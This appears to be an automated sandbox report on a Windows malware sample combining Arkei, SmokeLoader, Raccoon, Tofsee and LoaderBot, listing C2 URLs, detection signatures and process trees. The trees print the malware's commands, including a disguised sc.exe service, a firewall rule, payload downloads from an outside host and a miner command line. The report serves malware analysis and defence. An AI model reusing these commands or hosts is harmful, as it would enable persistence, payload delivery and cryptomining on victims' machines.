arkei | 14bae62a8926436958cf4433500d43b873c19c69158bdedf3094181898325b13

Analysis

max time kernel
133s
max time network
152s
platform
windows7_x64
resource
win7-en-20211208
submitted
11/01/2022, 19:31

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General

Target

33e6de1c1674c16833a1a009eafaf3fe.exe
Size

279KB
MD5

33e6de1c1674c16833a1a009eafaf3fe
SHA1

92a375cff2004d8dc6ab24cbcc72bcf95069f6c1
SHA256

14bae62a8926436958cf4433500d43b873c19c69158bdedf3094181898325b13
SHA512

235afa013539c4a5c6ca1a8dea97cac21b9993953b4a777b1ab56e0c442130a3d0f090c484d63cbb2ee5eb5a7eb6c16378c48bbef4ee28cb55497bcad2f92d67

Score

10^/10

arkei loaderbot raccoon smokeloader tofsee backdoor collection discovery evasion loader miner persistence spyware stealer suricata trojan upx

Malware Config

Extracted

Family

smokeloader

Version

2020

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32

Extracted

Family

tofsee

patmushta.info

parubey.info

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

Arkei
Arkei is an infostealer written in C++.
stealer arkei
LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata

Arkei Stealer Payload 2 IoCs

stealer

resource	yara_rule
behavioral1/memory/1632-80-0x0000000000240000-0x000000000025C000-memory.dmp	family_arkei
behavioral1/memory/1632-81-0x0000000000400000-0x0000000000455000-memory.dmp	family_arkei

LoaderBot executable 2 IoCs

resource	yara_rule
behavioral1/memory/1548-237-0x0000000000BE0000-0x000000000103B000-memory.dmp	loaderbot
behavioral1/memory/1548-239-0x0000000000BE0000-0x000000000103B000-memory.dmp	loaderbot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
111	1788	WScript.exe
112	1788	WScript.exe

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Executes dropped EXE 14 IoCs

pid	Process
1376	8759.exe
1632	CB5D.exe
1468	DAAA.exe
676	E787.exe
1640	E787.exe
1308	dsysndbq.exe
800	4D7A.exe
1152	A07F.exe
1764	AE26.exe
1492	B568.exe
676	extd.exe
1028	extd.exe
1640	setup_c.exe
1772	extd.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0005000000014158-166.dat	upx
behavioral1/files/0x0005000000014158-169.dat	upx
behavioral1/files/0x0005000000014158-175.dat	upx
behavioral1/files/0x0005000000014158-182.dat	upx
behavioral1/files/0x0005000000014158-191.dat	upx
behavioral1/files/0x0005000000014158-220.dat	upx

Deletes itself 1 IoCs

pid	Process
1292	Process not Found

Loads dropped DLL 1 IoCs

pid	Process
676	E787.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile:.repos	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1764	AE26.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1308 set thread context of 976	1308	33e6de1c1674c16833a1a009eafaf3fe.exe	27
PID 676 set thread context of 1640	676	E787.exe	34
PID 1152 set thread context of 1716	1152	A07F.exe	53
PID 1308 set thread context of 1468	1308	dsysndbq.exe	55

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1564	800	WerFault.exe	48

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	8759.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	33e6de1c1674c16833a1a009eafaf3fe.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	33e6de1c1674c16833a1a009eafaf3fe.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	33e6de1c1674c16833a1a009eafaf3fe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	8759.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	8759.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Control Panel\Buses	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Control Panel\Buses\Config0 = 1c392b3d0471c30724edb47d450dd49d084297dce82e72baa49811fd847b711d2f9f07e480cd945d24edb47d470dd49d024195daf71261adc06d04fda6e22673bbc9154961cda56815d882447d3cedaa644490bdb57424e4955905cbf6ba54758df21d5904e0a56511d984497d3fe79d084295d9e13f4bb4c06d0cfdadfd542fd19b4c053dfdad6b249ec60b1b79bdf0012dd98cb47d25ef97550cccfd8d387287cc186270a4f93824dc814c713beda4561dc4bd606d1ddda4d163a7c48d541de5ad743d73a2e6367b9ec60b440dd49d642df4bddea8ce4de16d34fdc48e980fe7ad743d05fcac680ada9a4f7539faa8552df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d042e955d24	svchost.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 4 IoCs

pid	Process
676	extd.exe
1028	extd.exe
1640	setup_c.exe
1772	extd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
976	33e6de1c1674c16833a1a009eafaf3fe.exe
976	33e6de1c1674c16833a1a009eafaf3fe.exe
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1292	Process not Found

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
976	33e6de1c1674c16833a1a009eafaf3fe.exe
1376	8759.exe
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	676	E787.exe
Token: SeDebugPrivilege	1640	E787.exe
Token: SeShutdownPrivilege	1292	Process not Found
Token: SeShutdownPrivilege	1292	Process not Found
Token: SeShutdownPrivilege	1292	Process not Found

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1292	Process not Found
1292	Process not Found

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
1292	Process not Found
1292	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1308 wrote to memory of 976	1308	33e6de1c1674c16833a1a009eafaf3fe.exe	27
PID 1308 wrote to memory of 976	1308	33e6de1c1674c16833a1a009eafaf3fe.exe	27
PID 1308 wrote to memory of 976	1308	33e6de1c1674c16833a1a009eafaf3fe.exe	27
PID 1308 wrote to memory of 976	1308	33e6de1c1674c16833a1a009eafaf3fe.exe	27
PID 1308 wrote to memory of 976	1308	33e6de1c1674c16833a1a009eafaf3fe.exe	27
PID 1308 wrote to memory of 976	1308	33e6de1c1674c16833a1a009eafaf3fe.exe	27
PID 1308 wrote to memory of 976	1308	33e6de1c1674c16833a1a009eafaf3fe.exe	27
PID 1292 wrote to memory of 1376	1292	Process not Found	28
PID 1292 wrote to memory of 1376	1292	Process not Found	28
PID 1292 wrote to memory of 1376	1292	Process not Found	28
PID 1292 wrote to memory of 1376	1292	Process not Found	28
PID 1292 wrote to memory of 1632	1292	Process not Found	29
PID 1292 wrote to memory of 1632	1292	Process not Found	29
PID 1292 wrote to memory of 1632	1292	Process not Found	29
PID 1292 wrote to memory of 1632	1292	Process not Found	29
PID 1292 wrote to memory of 1468	1292	Process not Found	30
PID 1292 wrote to memory of 1468	1292	Process not Found	30
PID 1292 wrote to memory of 1468	1292	Process not Found	30
PID 1292 wrote to memory of 1468	1292	Process not Found	30
PID 1292 wrote to memory of 676	1292	Process not Found	32
PID 1292 wrote to memory of 676	1292	Process not Found	32
PID 1292 wrote to memory of 676	1292	Process not Found	32
PID 1292 wrote to memory of 676	1292	Process not Found	32
PID 676 wrote to memory of 1640	676	E787.exe	34
PID 676 wrote to memory of 1640	676	E787.exe	34
PID 676 wrote to memory of 1640	676	E787.exe	34
PID 676 wrote to memory of 1640	676	E787.exe	34
PID 676 wrote to memory of 1640	676	E787.exe	34
PID 676 wrote to memory of 1640	676	E787.exe	34
PID 676 wrote to memory of 1640	676	E787.exe	34
PID 676 wrote to memory of 1640	676	E787.exe	34
PID 676 wrote to memory of 1640	676	E787.exe	34
PID 1468 wrote to memory of 1744	1468	DAAA.exe	35
PID 1468 wrote to memory of 1744	1468	DAAA.exe	35
PID 1468 wrote to memory of 1744	1468	DAAA.exe	35
PID 1468 wrote to memory of 1744	1468	DAAA.exe	35
PID 1468 wrote to memory of 1820	1468	DAAA.exe	37
PID 1468 wrote to memory of 1820	1468	DAAA.exe	37
PID 1468 wrote to memory of 1820	1468	DAAA.exe	37
PID 1468 wrote to memory of 1820	1468	DAAA.exe	37
PID 1468 wrote to memory of 920	1468	DAAA.exe	39
PID 1468 wrote to memory of 920	1468	DAAA.exe	39
PID 1468 wrote to memory of 920	1468	DAAA.exe	39
PID 1468 wrote to memory of 920	1468	DAAA.exe	39
PID 1468 wrote to memory of 2008	1468	DAAA.exe	41
PID 1468 wrote to memory of 2008	1468	DAAA.exe	41
PID 1468 wrote to memory of 2008	1468	DAAA.exe	41
PID 1468 wrote to memory of 2008	1468	DAAA.exe	41
PID 1468 wrote to memory of 1404	1468	DAAA.exe	43
PID 1468 wrote to memory of 1404	1468	DAAA.exe	43
PID 1468 wrote to memory of 1404	1468	DAAA.exe	43
PID 1468 wrote to memory of 1404	1468	DAAA.exe	43
PID 1468 wrote to memory of 588	1468	DAAA.exe	46
PID 1468 wrote to memory of 588	1468	DAAA.exe	46
PID 1468 wrote to memory of 588	1468	DAAA.exe	46
PID 1468 wrote to memory of 588	1468	DAAA.exe	46
PID 1292 wrote to memory of 800	1292	Process not Found	48
PID 1292 wrote to memory of 800	1292	Process not Found	48
PID 1292 wrote to memory of 800	1292	Process not Found	48
PID 1292 wrote to memory of 800	1292	Process not Found	48
PID 1292 wrote to memory of 1576	1292	Process not Found	50
PID 1292 wrote to memory of 1576	1292	Process not Found	50
PID 1292 wrote to memory of 1576	1292	Process not Found	50
PID 1292 wrote to memory of 1576	1292	Process not Found	50

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\33e6de1c1674c16833a1a009eafaf3fe.exe
"C:\Users\Admin\AppData\Local\Temp\33e6de1c1674c16833a1a009eafaf3fe.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1308
- C:\Users\Admin\AppData\Local\Temp\33e6de1c1674c16833a1a009eafaf3fe.exe
  "C:\Users\Admin\AppData\Local\Temp\33e6de1c1674c16833a1a009eafaf3fe.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:976

C:\Users\Admin\AppData\Local\Temp\8759.exe
C:\Users\Admin\AppData\Local\Temp\8759.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1376

C:\Users\Admin\AppData\Local\Temp\CB5D.exe
C:\Users\Admin\AppData\Local\Temp\CB5D.exe
1⤵
- Executes dropped EXE
PID:1632

C:\Users\Admin\AppData\Local\Temp\DAAA.exe
C:\Users\Admin\AppData\Local\Temp\DAAA.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1468
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mcbfttnk\
  2⤵
  PID:1744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dsysndbq.exe" C:\Windows\SysWOW64\mcbfttnk\
  2⤵
  PID:1820
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create mcbfttnk binPath= "C:\Windows\SysWOW64\mcbfttnk\dsysndbq.exe /d\"C:\Users\Admin\AppData\Local\Temp\DAAA.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:920
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description mcbfttnk "wifi internet conection"
  2⤵
  PID:2008
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start mcbfttnk
  2⤵
  PID:1404
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:588

C:\Users\Admin\AppData\Local\Temp\E787.exe
C:\Users\Admin\AppData\Local\Temp\E787.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:676
- C:\Users\Admin\AppData\Local\Temp\E787.exe
  C:\Users\Admin\AppData\Local\Temp\E787.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1640

C:\Windows\SysWOW64\mcbfttnk\dsysndbq.exe
C:\Windows\SysWOW64\mcbfttnk\dsysndbq.exe /d"C:\Users\Admin\AppData\Local\Temp\DAAA.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1308
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1468
- - C:\Windows\SysWOW64\svchost.exe
    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
    3⤵
    PID:952

C:\Users\Admin\AppData\Local\Temp\4D7A.exe
C:\Users\Admin\AppData\Local\Temp\4D7A.exe
1⤵
- Executes dropped EXE
PID:800
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 800 -s 440
  2⤵
  - Program crash
  PID:1564

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:1576

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1460

C:\Users\Admin\AppData\Local\Temp\A07F.exe
C:\Users\Admin\AppData\Local\Temp\A07F.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1152
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:1716

C:\Users\Admin\AppData\Local\Temp\AE26.exe
C:\Users\Admin\AppData\Local\Temp\AE26.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1764

C:\Users\Admin\AppData\Local\Temp\B568.exe
C:\Users\Admin\AppData\Local\Temp\B568.exe
1⤵
- Executes dropped EXE
PID:1492
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\B6F2.bat C:\Users\Admin\AppData\Local\Temp\B568.exe"
  2⤵
  PID:1004
- - C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:676
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\23380\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:1788
- - C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\extd.exe "/download" "http://a0620531.xsph.ru/htrrfwedsqw.exe" "setup_c.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1028
- - C:\Users\Admin\AppData\Local\Temp\23380\setup_c.exe
    setup_c.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1640
- - C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\extd.exe "/download" "http://a0620531.xsph.ru/c_setup.exe" "setup_m.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1772
- - C:\Users\Admin\AppData\Local\Temp\23380\setup_m.exe
    setup_m.exe
    3⤵
    PID:1568
- - C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\extd.exe "/download" "http://a0620531.xsph.ru/RMR.exe" "setup_s.exe" "" "" "" "" "" ""
    3⤵
    PID:1584
- - C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\B6F0.tmp\B6F1.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    PID:588
- - C:\Users\Admin\AppData\Local\Temp\23380\setup_s.exe
    setup_s.exe
    3⤵
    PID:1548

C:\Users\Admin\AppData\Local\Temp\CA7E.exe
C:\Users\Admin\AppData\Local\Temp\CA7E.exe
1⤵
PID:760

C:\Users\Admin\AppData\Local\Temp\D420.exe
C:\Users\Admin\AppData\Local\Temp\D420.exe
1⤵
PID:1152

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

New Service

T1050

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/676-70-0x0000000000E50000-0x0000000000EDA000-memory.dmp

Filesize
552KB

Download
memory/676-76-0x0000000000D60000-0x0000000000D61000-memory.dmp

Filesize
4KB

Download
memory/676-69-0x0000000000E50000-0x0000000000EDA000-memory.dmp

Filesize
552KB

Download
memory/676-77-0x0000000000300000-0x0000000000301000-memory.dmp

Filesize
4KB

Download
memory/760-254-0x0000000000390000-0x00000000003F0000-memory.dmp

Filesize
384KB

Download
memory/800-138-0x0000000000400000-0x0000000002BC5000-memory.dmp

Filesize
39.8MB

Download
memory/800-132-0x0000000000220000-0x000000000026F000-memory.dmp

Filesize
316KB

Download
memory/800-134-0x0000000000290000-0x0000000000321000-memory.dmp

Filesize
580KB

Download
memory/976-54-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/976-56-0x0000000076071000-0x0000000076073000-memory.dmp

Filesize
8KB

Download
memory/1004-172-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

Filesize
8KB

Download
memory/1152-282-0x0000000000250000-0x0000000000295000-memory.dmp

Filesize
276KB

Download
memory/1292-59-0x00000000026D0000-0x00000000026E6000-memory.dmp

Filesize
88KB

Download
memory/1292-75-0x00000000048E0000-0x00000000048F6000-memory.dmp

Filesize
88KB

Download
memory/1308-157-0x0000000000400000-0x0000000000451000-memory.dmp

Filesize
324KB

Download
memory/1308-57-0x00000000001B0000-0x00000000001B9000-memory.dmp

Filesize
36KB

Download
memory/1308-58-0x00000000001C0000-0x00000000001C9000-memory.dmp

Filesize
36KB

Download
memory/1376-73-0x0000000000240000-0x0000000000249000-memory.dmp

Filesize
36KB

Download
memory/1376-72-0x0000000000220000-0x0000000000229000-memory.dmp

Filesize
36KB

Download
memory/1376-74-0x0000000000400000-0x0000000000452000-memory.dmp

Filesize
328KB

Download
memory/1460-114-0x0000000000060000-0x000000000006C000-memory.dmp

Filesize
48KB

Download
memory/1460-113-0x0000000000070000-0x0000000000077000-memory.dmp

Filesize
28KB

Download
memory/1468-145-0x0000000000080000-0x0000000000095000-memory.dmp

Filesize
84KB

Download
memory/1468-96-0x0000000000400000-0x0000000000451000-memory.dmp

Filesize
324KB

Download
memory/1468-95-0x0000000000230000-0x0000000000243000-memory.dmp

Filesize
76KB

Download
memory/1468-94-0x0000000000220000-0x000000000022D000-memory.dmp

Filesize
52KB

Download
memory/1468-144-0x0000000000080000-0x0000000000095000-memory.dmp

Filesize
84KB

Download
memory/1548-238-0x00000000001B0000-0x00000000001F5000-memory.dmp

Filesize
276KB

Download
memory/1548-239-0x0000000000BE0000-0x000000000103B000-memory.dmp

Filesize
4.4MB

Download
memory/1548-237-0x0000000000BE0000-0x000000000103B000-memory.dmp

Filesize
4.4MB

Download
memory/1564-261-0x0000000000470000-0x0000000000471000-memory.dmp

Filesize
4KB

Download
memory/1568-198-0x0000000077460000-0x000000007750C000-memory.dmp

Filesize
688KB

Download
memory/1568-208-0x0000000075600000-0x0000000075617000-memory.dmp

Filesize
92KB

Download
memory/1568-215-0x00000000754C0000-0x000000007550F000-memory.dmp

Filesize
316KB

Download
memory/1568-214-0x0000000077440000-0x0000000077459000-memory.dmp

Filesize
100KB

Download
memory/1568-213-0x000000006E950000-0x000000006E95D000-memory.dmp

Filesize
52KB

Download
memory/1568-212-0x0000000077510000-0x0000000077545000-memory.dmp

Filesize
212KB

Download
memory/1568-211-0x0000000001300000-0x0000000001301000-memory.dmp

Filesize
4KB

Download
memory/1568-210-0x000000006E590000-0x000000006E5E2000-memory.dmp

Filesize
328KB

Download
memory/1568-209-0x000000006E570000-0x000000006E585000-memory.dmp

Filesize
84KB

Download
memory/1568-207-0x0000000076070000-0x0000000076CBA000-memory.dmp

Filesize
12.3MB

Download
memory/1568-206-0x00000000750A0000-0x0000000075120000-memory.dmp

Filesize
512KB

Download
memory/1568-205-0x0000000076F60000-0x0000000076FEF000-memory.dmp

Filesize
572KB

Download
memory/1568-203-0x0000000001350000-0x00000000013B2000-memory.dmp

Filesize
392KB

Download
memory/1568-204-0x0000000001350000-0x00000000013B2000-memory.dmp

Filesize
392KB

Download
memory/1568-202-0x0000000076D00000-0x0000000076E5C000-memory.dmp

Filesize
1.4MB

Download
memory/1568-200-0x0000000077170000-0x00000000771C7000-memory.dmp

Filesize
348KB

Download
memory/1568-199-0x0000000077A20000-0x0000000077A67000-memory.dmp

Filesize
284KB

Download
memory/1568-193-0x0000000075740000-0x000000007578A000-memory.dmp

Filesize
296KB

Download
memory/1568-195-0x00000000000C0000-0x00000000000C1000-memory.dmp

Filesize
4KB

Download
memory/1568-196-0x0000000001350000-0x00000000013B2000-memory.dmp

Filesize
392KB

Download
memory/1568-194-0x0000000000290000-0x00000000002D5000-memory.dmp

Filesize
276KB

Download
memory/1576-115-0x00000000003E0000-0x0000000000454000-memory.dmp

Filesize
464KB

Download
memory/1576-116-0x0000000000080000-0x00000000000EB000-memory.dmp

Filesize
428KB

Download
memory/1576-112-0x000000006C931000-0x000000006C933000-memory.dmp

Filesize
8KB

Download
memory/1632-79-0x0000000000220000-0x0000000000231000-memory.dmp

Filesize
68KB

Download
memory/1632-81-0x0000000000400000-0x0000000000455000-memory.dmp

Filesize
340KB

Download
memory/1632-80-0x0000000000240000-0x000000000025C000-memory.dmp

Filesize
112KB

Download
memory/1640-83-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1640-84-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1640-82-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1640-86-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1640-90-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1640-89-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1640-85-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1640-91-0x0000000004880000-0x0000000004881000-memory.dmp

Filesize
4KB

Download
memory/1716-130-0x0000000000090000-0x00000000000B0000-memory.dmp

Filesize
128KB

Download
memory/1716-126-0x0000000000090000-0x00000000000B0000-memory.dmp

Filesize
128KB

Download
memory/1716-120-0x0000000000090000-0x00000000000B0000-memory.dmp

Filesize
128KB

Download
memory/1716-131-0x0000000000090000-0x00000000000B0000-memory.dmp

Filesize
128KB

Download
memory/1716-127-0x0000000000090000-0x00000000000B0000-memory.dmp

Filesize
128KB

Download
memory/1716-133-0x0000000004B30000-0x0000000004B31000-memory.dmp

Filesize
4KB

Download
memory/1764-154-0x0000000000970000-0x0000000000A96000-memory.dmp

Filesize
1.1MB

Download
memory/1764-153-0x0000000076D00000-0x0000000076E5C000-memory.dmp

Filesize
1.4MB

Download
memory/1764-161-0x0000000076070000-0x0000000076CBA000-memory.dmp

Filesize
12.3MB

Download
memory/1764-140-0x0000000075740000-0x000000007578A000-memory.dmp

Filesize
296KB

Download
memory/1764-168-0x0000000004EF0000-0x0000000004EF1000-memory.dmp

Filesize
4KB

Download
